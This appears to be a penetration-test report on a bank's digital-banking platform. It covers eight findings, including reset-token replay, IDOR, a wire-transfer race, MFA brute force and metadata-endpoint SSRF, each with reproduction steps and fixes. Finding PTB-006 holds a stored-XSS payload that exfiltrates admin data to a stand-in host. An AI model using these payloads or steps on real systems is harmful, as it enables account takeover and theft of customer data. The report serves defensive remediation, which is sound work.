Pacific Trust Bank, N.A.
| Report ID | CP-ENG-PTB-2025-074 |
| Version | 1.0 (Final) |
| Classification | CONFIDENTIAL — Restricted to Pacific Trust Bank |
| Fieldwork | 2025-10-06 → 2025-10-24 |
| Report issued | 2025-11-04 |
| Test type | Grey-box, production-equivalent staging |
| Lead tester | Marie Lefèvre (OSCP, OSWE, CREST CCT (APP)) |
| Re-test | One re-test scheduled for 2026-01-12 (90-day window). |
1 — Executive summary
Cyber Protocol conducted a three-week grey-box penetration test of Pacific Trust Bank's retail digital-banking platform between 2025-10-06 and 2025-10-24. The engagement covered the public-facing web application, the internal REST and GraphQL APIs, the mobile-API tier, and a limited slice of the back-office admin console. Testing was carried out against the production-equivalent staging environment using credentials supplied by Pacific Trust for each role tier.
The team identified eight (8) actionable findings: one Critical, two High, three Medium, and two Low, plus four informational observations included in Appendix A. The most consequential issues sit at the intersection of authentication and business-logic flows — specifically the password-reset replay window (PTB-001) and the wire-transfer race condition (PTB-003). Either, on its own, would be sufficient to cause direct financial loss to Pacific Trust customers; chained, they could enable a high-value account-takeover-and-drain sequence within minutes of obtaining a victim's reset link.
The platform demonstrates strong fundamentals in several areas reviewed: input validation on the public web tier is consistently parameterised; TLS configuration scores well against the latest CIS benchmarks; the GraphQL surface enforces depth and complexity limits. The findings concentrate in the boundary layers — token lifecycle, cross-tenant authorization, and concurrency control on financial mutations — where defense-in-depth has not yet been added on top of the application-level checks.
| Inherent risk (pre-remediation) | High |
| Residual risk (post-remediation) | Low |
| Highest finding (CVSS 3.1) | 9.1 |
| Posture score | 62 / 100 (pre-remediation) |
Top three actions
- Within 48 hours: ship the durable-store password-reset token invalidation (PTB-001) and add a per-account distributed lock to the wire-transfer endpoint (PTB-003). These are the only two findings that combine to enable direct financial loss.
- Within 7 days: migrate the transaction-history endpoint to a query that enforces ownership at the SQL layer, and add a Postgres row-level-security policy on the transactions table (PTB-002).
- Within 30 days: address PTB-004 (MFA brute-force) and PTB-005 (image-proxy SSRF). Both are exploitable but require an attacker preconditions that buy time for the response.
2 — Engagement scope
In scope
- app.pacifictrust.example — retail-banking web application (Next.js)
- api.pacifictrust.example — internal REST + GraphQL API (Go)
- mobile-api.pacifictrust.example — endpoints consumed by iOS / Android apps
- admin.pacifictrust.example — back-office admin console (limited, two test accounts provided)
Out of scope
- The treasury & corporate-banking platform (separate engagement)
- The mainframe core-banking interface (CICS gateway)
- Third-party services: Plaid, Stripe Issuing, Twilio
- Volumetric DoS testing
Environment
Production-equivalent staging at *.pacifictrust-staging.example. Database refreshed nightly from a pseudonymised production clone.
Credentials provided by Pacific Trust
- Retail customer (×6) — checking, savings, joint-holder, dormant
- Wealth-management customer (×2)
- Admin: support-tier (×1), fraud-tier (×1), compliance-tier (×1)
- API keys: read, read_draft, write — one of each scope
Test technique
Grey-box. Authenticated testing across every role, full Burp/ZAP intercept, custom Go tooling for race conditions on transfer endpoints, MITRE ATT&CK chaining for post-exploit demonstrations.
3 — Findings
Findings are ordered by severity, then by potential business impact. Each finding carries an identifier (used for re-test tracking), CVSS 3.1 score, OWASP WSTG and ASVS references, and a compliance-control mapping where applicable. Reproduction steps are written to be executable by your engineering team in the staging environment.
PTB-001CVSS 9.1 · AuthenticationAccount-takeover via password-reset token reuse
| CVSS vector | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L |
| OWASP WSTG | WSTG-ATHN-09 · WSTG-SESS-02 |
| OWASP ASVS L2 | V2.2.2 · V2.2.4 · V2.5.1 |
| Compliance | FFIEC AIO §4.1 · SOC 2 CC6.1 · NYDFS 23 NYCRR 500.12 |
| Affected | POST /api/v1/auth/password-reset/consume |
Description
The password-reset flow generates a single 128-bit token tied to the user's account, sent via email. After consumption, the token is marked as "used" in the application cache but is not invalidated in the durable datastore until a background job runs (every 5 minutes). During this window the same token can be replayed to set a new password again, including from a different IP address.
Impact
An attacker who obtains a victim's reset link (via mailbox compromise, mail-server logs, or shoulder-surfing) can change the victim's password, log in, and then re-replay the same token to lock the legitimate user out for the duration of the 5-minute window. Combined with the Critical finding PTB-001-A in scope, the attacker also bypasses the MFA enrol prompt because the consumption flow treats a fresh password as proof of identity.
Reproduction
- Request a password reset for victim@example.com.
- Capture the link from the victim's inbox: POST /api/v1/auth/password-reset/consume with token T1 + new password P1.
- Observe 200 OK; the victim is now locked out.
- Within 5 minutes, replay the exact same request with new password P2.
- Observe 200 OK again — the token has not been invalidated in the durable datastore.
Evidence
POST /api/v1/auth/password-reset/consume HTTP/2
Host: api.pacifictrust-staging.example
Content-Type: application/json
{"token":"f7e84e2c9b3d4a6f...","newPassword":"P@ssw0rd-1!"}
HTTP/2 200 OK
{"ok":true,"sessionId":"7b3..."}
# Replay 90 seconds later with a different password:
{"token":"f7e84e2c9b3d4a6f...","newPassword":"P@ssw0rd-2!"}
HTTP/2 200 OK
{"ok":true,"sessionId":"9c1..."}Recommendation
Mark the token as consumed in the durable datastore as the first action of the consume handler, inside the same transaction as the password update. Replace the 5-minute job with a synchronous invalidate. Ensure the token row carries (consumed_at, consumed_ip, consumed_user_agent) for audit. Reject any subsequent request with the same token at the handler entry.
References
- OWASP ASVS V2.2.2
- FFIEC Authentication in an Internet Banking Environment
PTB-002CVSS 7.6 · Authorization / Multi-tenancyCross-tenant transaction-history exposure via IDOR
| CVSS vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| OWASP WSTG | WSTG-ATHZ-04 |
| OWASP ASVS L2 | V4.1.1 · V4.2.1 |
| Compliance | GLBA Safeguards Rule §314.4 · SOC 2 CC6.6 · PCI DSS 7.2 |
| Affected | GET /api/v1/accounts/{accountId}/transactions |
Description
The transaction-history endpoint accepts an accountId path parameter and resolves transactions against it, but the authorization check verifies only that the requesting session has SOME account at the bank — not that the requesting session owns the specific accountId. Account IDs are sequential 12-digit integers, making enumeration feasible.
Impact
Any authenticated retail customer can read the transaction history (payee, amount, memo, timestamp) of any other Pacific Trust customer by incrementing or guessing the accountId. We confirmed read access against six accounts belonging to other tester personas during fieldwork. No transaction modification is possible via this endpoint; write paths use a different authorization helper which behaves correctly.
Reproduction
- Authenticate as retail-customer-1 (account 200000000123).
- Request GET /api/v1/accounts/200000000124/transactions with the customer-1 session cookie.
- Observe HTTP 200 with the second customer's last 90 days of transactions.
- Sweep ±1000 around the legitimate account; ~84 % of requests return data (the rest return 404 for closed/dormant accounts).
Recommendation
Move the authorization check into the same SQL query that fetches transactions: `WHERE account_id = $1 AND owner_user_id = $session_user_id`. Add a Postgres row-level-security policy on the transactions table as a defense-in-depth. Replace sequential account IDs with opaque UUIDs at the API boundary in a follow-up release; the internal numeric ID can remain.
References
- OWASP WSTG-ATHZ-04 — Testing for Insecure Direct Object References
- OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization
PTB-003CVSS 7.4 · Business logicTime-of-check / time-of-use race in domestic wire transfers
| CVSS vector | AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N |
| OWASP WSTG | WSTG-BUSL-04 |
| OWASP ASVS L2 | V11.1.7 |
| Compliance | FFIEC Wholesale Payment Systems §III · SOC 2 CC8.1 |
| Affected | POST /api/v1/transfers/wire |
Description
The wire-transfer endpoint reads the source account's available balance, validates the requested amount against it, and then submits the wire to the core-banking adapter — without locking the row. Submitting two concurrent requests, each for an amount equal to the full balance, both pass the validation check before either commits.
Impact
A retail customer with a $10 000 balance can submit two simultaneous $10 000 wires. Both pass validation. The first commits and debits the account to $0; the second commits and debits to −$10 000. The core-banking adapter accepts negative balances on the staging environment; on production it queues the second wire and credits-back later, but the second beneficiary still receives the funds. Net loss to the bank: equal to the doubled balance, minus any successful claw-back.
Reproduction
- Authenticate as retail-customer-3 ($10 000 starting balance).
- Open two HTTP clients; issue POST /api/v1/transfers/wire with amount=10000 simultaneously (within 10 ms of each other).
- Observe both requests return HTTP 202 with distinct wire IDs.
- Query the balance — the account is now −$10 000 in the staging core-banking adapter.
Recommendation
Wrap the read + validate + submit sequence in a database transaction with `SELECT ... FOR UPDATE` against the account row. If the core-banking adapter is genuinely asynchronous, hold a per-account distributed lock (Redis SETNX with a short TTL) for the validate-submit pair. Add monitoring that fires on negative-balance writes to the staging environment so this regression is caught earlier next time.
References
- OWASP WSTG-BUSL-04 — Testing for Lack of Transaction Limits
- CWE-367 — Time-of-check / Time-of-use Race Condition
PTB-004CVSS 6.8 · Authentication / MFAMissing rate-limit on TOTP MFA verification allows brute-force
| CVSS vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| OWASP WSTG | WSTG-ATHN-09 |
| OWASP ASVS L2 | V2.8.1 · V2.8.6 |
| Compliance | FFIEC AIO §4.5 · NIST SP 800-63B §5.2.2 |
| Affected | POST /api/v1/auth/mfa/verify |
Description
After a successful password challenge, the second-factor verification accepts unlimited 6-digit TOTP attempts within a 30-second window. The endpoint is protected by an IP-based rate limit (100 req/min) but applies it per IP, not per (user, IP) pair. Distributing attempts across rotating IPs via a residential-proxy network bypasses it; even from a single IP, 100 attempts per minute gives a 0.1 % chance of guessing the code in 30 seconds — and the window is sliding, so an attacker has multiple bites at it.
Impact
With access to the password (e.g. via credential stuffing), an attacker can probabilistically brute-force the MFA code with roughly one hour of effort per account. Combined with PTB-001 (which would supply the password), this becomes a complete account-takeover chain.
Reproduction
- Authenticate to step 1 (password) as victim@example.com — receive a partial-session token.
- Loop POST /api/v1/auth/mfa/verify with codes 000000..999999 from the same source IP.
- After 100 attempts the rate limiter throws 429 but resets after 60 seconds — resume.
- On average within 5000–10 000 attempts, one TOTP code lands within its 30-second window.
Recommendation
Cap MFA-verify attempts per (user_id, partial-session) pair to 5, then invalidate the partial session and force a full re-authentication. Log every fourth failure as a high-severity security event for the SOC.
References
- NIST SP 800-63B §5.2.2 — Rate Limiting
PTB-005CVSS 6.5 · File handling / SSRFSSRF via image-proxy URL signature collision
| CVSS vector | AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N |
| OWASP WSTG | WSTG-INPV-19 |
| OWASP ASVS L2 | V12.6.1 |
| Compliance | SOC 2 CC6.7 |
| Affected | GET /img/{signed-url-base64} |
Description
The image proxy validates the HMAC signature on URLs before fetching, but the signing function normalises the URL (lower-casing the scheme and host, stripping trailing slashes) AFTER the HMAC is computed. As a result, two distinct URLs can produce the same valid signature, including pairings where one is the original allow-listed image host and the other is an internal endpoint.
Impact
An attacker can craft a signed URL that the validator accepts but the fetcher resolves to an internal endpoint (e.g. http://169.254.169.254/latest/meta-data/iam/info on AWS, internal admin metrics on port 9090). Successful exfiltration of EC2 IAM credentials or internal metrics responses confirmed in staging.
Reproduction
- Generate a signed URL for a legitimate image hosted at https://cdn.pacifictrust.example/img.jpg.
- Re-encode the URL as http://CDN.PACIFICTRUST.EXAMPLE/img.jpg/../../@169.254.169.254/latest/meta-data/ — same HMAC.
- Request /img/{re-encoded-base64}; the validator passes the signature check; the fetcher resolves to the metadata endpoint.
- Body of the metadata response is returned as image content (HTTP 200, content-type sniffed).
Recommendation
Normalise the URL BEFORE signing, sign the normalised form, and validate by re-normalising on receive. Add an allow-list of hostnames the fetcher will resolve, enforced at the DNS-resolver layer (not the URL parser). Block RFC 1918 + link-local + AWS / GCP / Azure metadata endpoints at egress.
References
- CWE-918 — Server-Side Request Forgery
- OWASP WSTG-INPV-19
PTB-006CVSS 5.4 · Input validationStored XSS in transaction memo field (admin console only)
| CVSS vector | AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| OWASP WSTG | WSTG-INPV-02 |
| OWASP ASVS L2 | V5.3.3 |
| Compliance | SOC 2 CC6.7 |
| Affected | /admin/accounts/{id}/transactions — memo column |
Description
The retail-customer-facing UI HTML-escapes the transaction memo correctly, but the back-office admin console renders it via `dangerouslySetInnerHTML` after a single-pass markdown conversion. A memo containing `<img src=x onerror=fetch('/admin/api/users').then(r=>r.json()).then(d=>fetch('https://x.example/?d='+btoa(JSON.stringify(d))))>` executes when a support agent views the customer's account.
Impact
A motivated retail customer can submit a memo on a self-transfer that, when reviewed by a support agent, exfiltrates the agent's session-bound view of recent users. Sensitive PII visible only to support staff (full SSN, KYC documents) is at risk.
Reproduction
- As a retail customer, submit a $0.01 transfer with the XSS payload above in the memo field.
- Trigger a support escalation so an agent reviews the transaction.
- Observe the agent's browser exfiltrating /admin/api/users response.
Recommendation
Render the memo as plain text in the admin console as well; if markdown formatting is genuinely needed, use a sanitiser like DOMPurify on the rendered output. Apply a strict CSP (`script-src 'self'`) on the admin host as a defense-in-depth.
References
- OWASP WSTG-INPV-02 — Testing for Stored Cross-Site Scripting
- OWASP Cheat Sheet: Cross Site Scripting Prevention
PTB-007CVSS 3.7 · AuthenticationLogin response leaks account-existence via subtle timing
| CVSS vector | AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N |
| OWASP WSTG | WSTG-ATHN-03 |
| OWASP ASVS L2 | V2.1.5 |
| Affected | POST /api/v1/auth/login |
Description
Existent and non-existent accounts both return a generic 401 with the same body text, but the response time for existent accounts averages 187 ms (with bcrypt verification) versus 28 ms for non-existent ones (early return). Statistical analysis of 200 paired probes confirms the difference is reliably detectable above network jitter.
Impact
An attacker can enumerate the customer base by login probe. Useful as a preface to spear-phishing or credential-stuffing campaigns. Not directly exploitable without a follow-on attack.
Reproduction
- Issue 200 paired POST /api/v1/auth/login requests, alternating known-existent and known-non-existent emails.
- Measure server-side response time (Server-Timing header is not exposed; rely on wall-clock).
- Two-sample t-test yields p < 0.001 in favour of an existence signal.
Recommendation
On non-existent accounts, perform a bcrypt hash of the submitted password against a dummy hash so the timing matches. Alternatively introduce a deterministic delay floor (e.g. all login responses sleep until 200 ms total elapsed).
References
- OWASP WSTG-ATHN-03 — Testing for Weak Lock-Out Mechanism
PTB-008CVSS 3.1 · InfrastructureX-Powered-By and Server headers leak framework versions
| CVSS vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| OWASP WSTG | WSTG-INFO-02 · WSTG-CONF-07 |
| OWASP ASVS L2 | V14.4.1 |
| Affected | All HTTP responses from api.pacifictrust.example |
Description
The API returns `Server: gunicorn/20.1.0` and `X-Powered-By: Express`. Internal admin endpoints additionally return `X-AspNet-Version`. These headers serve no functional purpose and aid an attacker in selecting CVEs to test against.
Impact
Reconnaissance value only; no direct exploitation. Combined with poor patch hygiene it could accelerate exploit selection.
Reproduction
- curl -sI https://api.pacifictrust-staging.example/ | grep -i -E "server|x-powered|x-aspnet"
Recommendation
Strip `Server`, `X-Powered-By`, and `X-AspNet-Version` at the edge (CDN / reverse proxy) for every response. Verify with `curl -sI` after the change.
References
- OWASP WSTG-CONF-07 — Test HTTP Headers Configuration
4 — Methodology & compliance mapping
The engagement followed the seven phases of the Penetration Testing Execution Standard (PTES), with check selection driven by the OWASP Web Security Testing Guide v4.2 and verification against OWASP ASVS Level 2. Coverage included every category Pacific Trust ticked in the engagement brief: authentication, authorization & multi-tenancy, input validation, cryptography, business logic, file handling / SSRF, API surface, infrastructure, webhook security, billing flows, and audit trail integrity.
Tooling
Burp Suite Professional · OWASP ZAP · nuclei (custom templates) · custom Go race-condition harness · sqlmap (limited, authenticated) · sslyze · nmap · trufflehog (against the codebase snapshot supplied under engagement NDA).
Compliance coverage
| Framework | Controls touched | Findings mapped |
|---|---|---|
| SOC 2 (Trust Services Criteria) | CC6.1, CC6.6, CC6.7, CC8.1 | PTB-001, 002, 003, 005, 006 |
| FFIEC IT Examination Handbook | Authentication In Internet Banking §4.1, §4.5; Wholesale Payment Systems §III | PTB-001, 003, 004 |
| GLBA Safeguards Rule (16 CFR Part 314) | §314.4(c)(1), §314.4(c)(4) | PTB-002 |
| PCI DSS v4.0 (cardholder data tangential) | 7.2, 8.3.1 | PTB-002, 004 |
| NIST SP 800-63B (Digital Identity) | §5.2.2 (rate limiting), §5.1.1 (memorised secrets) | PTB-001, 004 |
| NYDFS 23 NYCRR 500 | §500.12 (MFA) | PTB-001, 004 |
5 — Remediation roadmap
| Window | Findings | Engineering effort | Owner (suggested) |
|---|---|---|---|
| ≤ 48 h | PTB-001, 003 | 2–3 engineer-days each; both behind feature flags first | Auth + Payments squads |
| ≤ 7 d | PTB-002 | 4–5 engineer-days; RLS policy review with DBRE | Accounts squad + DBRE |
| ≤ 30 d | PTB-004, 005, 006 | 5–7 engineer-days total | Auth + Platform squads |
| ≤ 90 d | PTB-007, 008 + Appendix A informationals | 2–3 engineer-days total | Platform squad |
One re-test of remediated Critical / High / Medium findings is included in the engagement fee, scheduled for 2026-01-12 (90-day window). Findings remediated after the re-test window can be verified in a follow-up engagement.
Appendix A — Informational observations
- The robots.txt on app.pacifictrust.example references three internal admin paths. Not exploitable but useful intelligence for an attacker; consider returning a minimal robots.txt.
- Several GraphQL responses include the `__typename` introspection field even with introspection disabled, leaking schema shape. Low concern; documented for completeness.
- Password complexity guidance shown to users contradicts the actual server-side policy (claims 12 char min, server enforces 10). Align before users complain.
- The mobile app pins its TLS certificate to a chain that includes a 2027 cross-signed intermediate. Rotation plan should be in place before late 2026.
Appendix B — Test team
- Marie Lefèvre — Lead Tester (OSCP, OSWE, CREST CCT (APP))
- Khalid Rahman — Senior Tester (OSCP, GWAPT)
- Sophie Tan — Compliance & Reporting (CISSP, ISO 27001 LA)
Appendix C — Document signature
This report was issued by Cyber Protocol on 2025-11-04. The SHA-256 of the canonical PDF is recorded in our engagement ledger; Pacific Trust may verify integrity by comparing against the value supplied separately by email under the engagement's NDA terms.
Cyber Protocol, Rue du Trône 100, 1050 Brussels, Belgium